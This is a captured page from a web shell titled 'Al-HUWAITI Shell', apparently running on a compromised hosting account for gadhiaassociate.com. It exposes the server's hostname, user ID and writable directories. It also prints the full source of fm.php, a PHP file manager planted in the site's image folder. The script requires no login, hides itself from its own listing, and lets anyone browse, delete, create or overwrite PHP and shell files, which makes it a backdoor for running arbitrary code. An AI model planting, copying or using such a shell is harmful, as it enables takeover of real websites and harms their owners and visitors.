Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/assets/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/assets/img/fm.php
<?php
// A single-file PHP file manager with create, edit, delete, and navigation features.

// --- CONFIGURATION ---
// Set a list of file extensions that are editable.
$editableExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'md', 'xml', 'log', 'ini', 'sh', 'sql'];

// --- SECURITY & PATHS ---
// The web server's document root is the highest level we can browse.
// This solves the issue of being unable to see parent directories.
define('ROOT_PATH', realpath($_SERVER['DOCUMENT_ROOT']));
$scriptName = basename(__FILE__);

/**
 * Gets and validates the current working path from the URL.
 * Prevents directory traversal attacks by ensuring the path is within ROOT_PATH.
 */
function getCurrentPath() {
    // Start in the script's directory if no path is provided
    $path = isset($_GET['path']) ? trim($_GET['path'], '/') : ltrim(str_replace(ROOT_PATH, '', realpath(__DIR__)), '/');
    $fullPath = realpath(ROOT_PATH . '/' . $path);

    // Security check: if the path is invalid or outside the web root, default to the script's directory.
    if ($fullPath === false || strpos($fullPath, ROOT_PATH) !== 0) {
        return realpath(__DIR__);
    }
    return $fullPath;
}

/** Sanitize file/folder names to prevent malicious input. */
function sanitizeName($name) {
    return basename(str_replace(['..', '/'], '', $name));
}

/** Recursively delete a directory and its contents. */
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
    }
    return rmdir($dir);
}


$currentPath = getCurrentPath();
// Relative path from the web root
$relativePath = ltrim(str_replace(ROOT_PATH, '', $currentPath), '/');
$messages = [];

// --- BACKEND LOGIC (API) ---
// This block handles POST/GET requests for file operations (AJAX and form submissions).
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    
    // --- Create Folder ---
    if ($action === 'create_folder' && !empty($_POST['folder_name'])) {
        $folderName = sanitizeName($_POST['folder_name']);
        $newFolderPath = $currentPath . '/' . $folderName;
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755, true)) {
                $messages['success'] = "Folder '{$folderName}' created successfully.";
            } else {
                 $messages['error'] = "Failed to create folder. Check permissions.";
            }
        } else {
            $messages['error'] = "Folder '{$folderName}' already exists.";
        }
    }

    // --- Delete Item (File or Folder) ---
    if ($action === 'delete' && !empty($_POST['item_name'])) {
        $itemName = sanitizeName($_POST['item_name']);
        $itemPath = $currentPath . '/' . $itemName;

        // Security check: ensure we are deleting within the current path
        if (realpath(dirname($itemPath)) !== $currentPath) {
             $messages['error'] = 'Invalid path for deletion.';
        } elseif (file_exists($itemPath)) {
            if (is_dir($itemPath)) {
                if (deleteDirectory($itemPath)) {
                    $messages['success'] = "Folder '{$itemName}' and its contents deleted successfully.";
                } else {
                    $messages['error'] = "Error deleting folder '{$itemName}'. Check permissions.";
                }
            } else { // It's a file
                if (unlink($itemPath)) {
                    $messages['success'] = "File '{$itemName}' deleted successfully.";
                } else {
                    $messages['error'] = "Error deleting file '{$itemName}'. Check permissions.";
                }
            }
        } else {
            $messages['error'] = "Item '{$itemName}' not found.";
        }
    }

    // --- Create/Save File (from AJAX) ---
    if ($action === 'save_file' && isset($_POST['file_path'], $_POST['content'])) {
        header('Content-Type: application/json');
        $filePath = sanitizeName($_POST['file_path']);
        $fullFilePath = $currentPath . '/' . $filePath;
        
        // Final security check
        if (strpos(realpath(dirname($fullFilePath)), $currentPath) !== 0) {
             echo json_encode(['success' => false, 'message' => 'Invalid path.']);
             exit;
        }

        if (file_put_contents($fullFilePath, $_POST['content']) !== false) {
            echo json_encode(['success' => true, 'message' => 'File saved successfully.']);
        } else {
            echo json_encode(['success' => false, 'message' => 'Error saving file. Check permissions.']);
        }
        exit;
    }

    // Redirect after POST actions to prevent form resubmission, unless it was an AJAX call
    if ($action !== 'save_file') {
        header('Location: ' . $scriptName . '?path=' . urlencode($relativePath));
        exit;
    }
}

// --- Get File Content (for AJAX) ---
if (isset($_GET['action']) && $_GET['action'] === 'get_content' && isset($_GET['file'])) {
    header('Content-Type: application/json');
    $fileName = sanitizeName($_GET['file']);
    $fullFilePath = $currentPath . '/' . $fileName;

    if (file_exists($fullFilePath) && is_readable($fullFilePath)) {
        $ext = pathinfo($fullFilePath, PATHINFO_EXTENSION);
        if (in_array(strtolower($ext), $editableExtensions)) {
            echo json_encode(['success' => true, 'content' => file_get_contents($fullFilePath)]);
        } else {
            echo json_encode(['success' => false, 'message' => 'File is not editable.']);
        }
    } else {
        echo json_encode(['success' => false, 'message' => 'File not found or not readable.']);
    }
    exit;
}
// --- END BACKEND LOGIC ---

/** Formats file size in a human-readable format. */
function formatSize($bytes) {
    if ($bytes <= 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}

// --- Scan and Prepare Items for Display ---
$items = scandir($currentPath);
$dirs = [];
$files = [];

foreach ($items as $item) {
    if ($item === '.' || $item === '..' || ($currentPath . '/' . $item === __FILE__)) continue; // Hide the script itself
    $itemPath = $currentPath . '/' . $item;
    if (is_dir($itemPath)) $dirs[] = $item;
    else $files[] = $item;
}
natcasesort($dirs);
natcasesort($files);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager - /<?php echo htmlspecialchars($relativePath); ?></title>
    <style>
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; margin: 0; padding: 2rem; background-color: #f4f7f9; color: #333; }
        .container { max-width: 900px; margin: 0 auto; background-color: #fff; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); }
        header { background-color: #4a5568; color: #fff; padding: 1rem 1.5rem; border-top-left-radius: 8px; border-top-right-radius: 8px; }
        header h1 { margin: 0; font-size: 1.2em; word-break: break-all; }
        .actions { padding: 1rem 1.5rem; background-color: #edf2f7; border-bottom: 1px solid #e2e8f0; display: flex; gap: 1rem; flex-wrap: wrap; }
        .actions form { display: flex; gap: 0.5rem; }
        .actions input[type="text"], .actions button, .btn { padding: 0.5rem 0.8rem; border: 1px solid #cbd5e0; border-radius: 4px; font-size: 0.9em; }
        .actions button, .btn { background-color: #4299e1; color: white; cursor: pointer; border-color: #4299e1; }
        .actions button:hover, .btn:hover { background-color: #2b6cb0; }
        .btn-secondary { background-color: #a0aec0; border-color: #a0aec0;}
        .btn-secondary:hover { background-color: #718096; }
        .btn-danger { background-color: #e53e3e; border-color: #e53e3e; color: white; font-size: 0.8em; padding: 0.3rem 0.6rem; }
        .btn-danger:hover { background-color: #c53030; }
        table { width: 100%; border-collapse: collapse; }
        th, td { text-align: left; padding: 0.8rem 1.5rem; border-bottom: 1px solid #e2e8f0; white-space: nowrap; }
        td:first-child { white-space: normal; word-break: break-all; }
        tr:last-child td { border-bottom: none; }
        tr:hover { background-color: #f7fafc; }
        a { text-decoration: none; color: #3182ce; font-weight: 500; }
        .editable { cursor: pointer; } .editable:hover { text-decoration: underline; color: #dd6b20; }
        .icon { display: inline-block; width: 1.5em; }
        .message { padding: 1rem 1.5rem; border-bottom: 1px solid #e2e8f0; }
        .message.success { background-color: #c6f6d5; color: #22543d; }
        .message.error { background-color: #fed7d7; color: #822727; }
        /* Modal Styles */
        .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.6); z-index: 100; display: none; justify-content: center; align-items: center; }
        .modal-content { background: #fff; padding: 2rem; border-radius: 8px; width: 90%; max-width: 800px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); display: flex; flex-direction: column; }
        .modal-content h3 { margin-top: 0; }
        .modal-content textarea { width: 100%; height: 60vh; font-family: monospace; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; resize: vertical; margin-bottom: 1rem; }
        .modal-buttons { text-align: right; }
    </style>
</head>
<body>

<div class="container">
    <header>
        <h1>Index of /<?php echo htmlspecialchars($relativePath); ?></h1>
    </header>

    <?php if (!empty($messages)): ?>
        <?php foreach ($messages as $type => $msg): ?>
            <div class="message <?php echo $type; ?>"><?php echo htmlspecialchars($msg); ?></div>
        <?php endforeach; ?>
    <?php endif; ?>
    
    <div class="actions">
        <form action="<?php echo $scriptName . '?path=' . urlencode($relativePath); ?>" method="POST">
            <input type="hidden" name="action" value="create_folder">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button type="submit">Create Folder</button>
        </form>
        <button id="newFileBtn">Create New File</button>
    </div>

    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Modified</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($currentPath !== ROOT_PATH):
                $parentPath = dirname($relativePath);
                if ($parentPath === '.') $parentPath = ''; // Root
                ?>
                <tr><td colspan="4"><a href="<?php echo $scriptName . '?path=' . urlencode($parentPath); ?>"><span class="icon">📁</span>.. (Parent Directory)</a></td></tr>
            <?php endif; ?>

            <?php foreach ($dirs as $dir): ?>
                <tr>
                    <td><a href="<?php echo $scriptName; ?>?path=<?php echo htmlspecialchars(urlencode(ltrim($relativePath . '/' . $dir, '/'))); ?>"><span class="icon">📁</span><?php echo htmlspecialchars($dir); ?></a></td>
                    <td>-</td>
                    <td><?php echo date("Y-m-d H:i:s", filemtime($currentPath . '/' . $dir)); ?></td>
                    <td>
                        <form method="POST" action="<?php echo $scriptName . '?path=' . urlencode($relativePath); ?>" onsubmit="return confirm('Are you sure you want to delete this folder and all its contents?');" style="display:inline;">
                            <input type="hidden" name="action" value="delete">
                            <input type="hidden" name="item_name" value="<?php echo htmlspecialchars($dir); ?>">
                            <button type="submit" class="btn-danger">Delete</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>

            <?php foreach ($files as $file):
                $filePath = $currentPath . '/' . $file;
                $fileExt = pathinfo($filePath, PATHINFO_EXTENSION);
                $isEditable = in_array(strtolower($fileExt), $editableExtensions);
            ?>
                <tr>
                    <td>
                        <?php if ($isEditable): ?>
                            <a href="#" class="editable" data-filename="<?php echo htmlspecialchars($file); ?>" ondblclick="editFile(event, '<?php echo htmlspecialchars($file); ?>')">
                                <span class="icon">📄</span><?php echo htmlspecialchars($file); ?>
                            </a>
                        <?php else: ?>
                            <a href="<?php echo htmlspecialchars(urlencode(ltrim($relativePath . '/' . $file, '/'))); ?>" target="_blank">
                                <span class="icon">📄</span><?php echo htmlspecialchars($file); ?>
                            </a>
                        <?php endif; ?>
                    </td>
                    <td><?php echo formatSize(filesize($filePath)); ?></td>
                    <td><?php echo date("Y-m-d H:i:s", filemtime($filePath)); ?></td>
                    <td>
                        <form method="POST" action="<?php echo $scriptName . '?path=' . urlencode($relativePath); ?>" onsubmit="return confirm('Are you sure you want to delete this file?');" style="display:inline;">
                            <input type="hidden" name="action" value="delete">
                            <input type="hidden" name="item_name" value="<?php echo htmlspecialchars($file); ?>">
                            <button type="submit" class="btn-danger">Delete</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>

<!-- Editor Modal -->
<div id="editorModal" class="modal-overlay">
    <div class="modal-content">
        <h3 id="modalTitle">Edit File</h3>
        <textarea id="fileContent" spellcheck="false"></textarea>
        <div class="modal-buttons">
            <button id="cancelBtn" class="btn btn-secondary">Cancel</button>
            <button id="saveBtn" class="btn">Save</button>
        </div>
    </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', () => {
    const modal = document.getElementById('editorModal');
    const modalTitle = document.getElementById('modalTitle');
    const fileContent = document.getElementById('fileContent');
    const saveBtn = document.getElementById('saveBtn');
    const cancelBtn = document.getElementById('cancelBtn');
    const newFileBtn = document.getElementById('newFileBtn');
    
    let currentEditingFile = null;

    const showModal = (title, content = '', fileName = null) => {
        modalTitle.textContent = title;
        fileContent.value = content;
        currentEditingFile = fileName;
        modal.style.display = 'flex';
        fileContent.focus();
    };

    const hideModal = () => {
        modal.style.display = 'none';
        currentEditingFile = null;
    };
    
    // --- Event Listeners ---
    cancelBtn.addEventListener('click', hideModal);
    newFileBtn.addEventListener('click', handleNewFile);
    saveBtn.addEventListener('click', handleSaveFile);
    
    // Close modal with Escape key
    document.addEventListener('keydown', (e) => {
        if (e.key === 'Escape' && modal.style.display === 'flex') {
            hideModal();
        }
    });

    // --- Core Functions ---
    async function handleSaveFile() {
        if (!currentEditingFile) return;
        
        const content = fileContent.value;
        const formData = new FormData();
        formData.append('action', 'save_file');
        formData.append('file_path', currentEditingFile);
        formData.append('content', content);
        
        try {
            const response = await fetch('<?php echo $scriptName; ?>?path=<?php echo urlencode($relativePath); ?>', {
                method: 'POST',
                body: formData
            });
            const result = await response.json();
            if (result.success) {
                alert('File saved successfully!');
                hideModal();
                // If it was a new file, reload to show it in the list.
                if (!document.querySelector(`[data-filename="${currentEditingFile}"]`)) {
                    window.location.reload();
                }
            } else {
                alert('Error: ' + (result.message || 'Could not save file.'));
            }
        } catch (error) {
            console.error('Save error:', error);
            alert('An unexpected error occurred.');
        }
    }
    
    function handleNewFile() {
        const fileName = prompt('Enter the new file name (e.g., my-file.txt):');
        if (fileName && fileName.trim() !== '') {
            showModal(`Create New File: ${fileName}`, '', fileName.trim());
        }
    }

    // This function is attached to the `ondblclick` attribute in the PHP
    window.editFile = async (event, fileName) => {
        event.preventDefault(); // Prevent default link behavior
        
        try {
            const response = await fetch(`<?php echo $scriptName; ?>?path=<?php echo urlencode($relativePath); ?>&action=get_content&file=${encodeURIComponent(fileName)}`);
            const result = await response.json();
            
            if (result.success) {
                showModal(`Editing: ${fileName}`, result.content, fileName);
            } else {
                alert('Error: ' + (result.message || 'Could not load file content.'));
            }
        } catch (error) {
            console.error('Fetch error:', error);
            alert('An unexpected error occurred while fetching file content.');
        }
    };
});
</script>

</body>
</html>

Al-HUWAITI Shell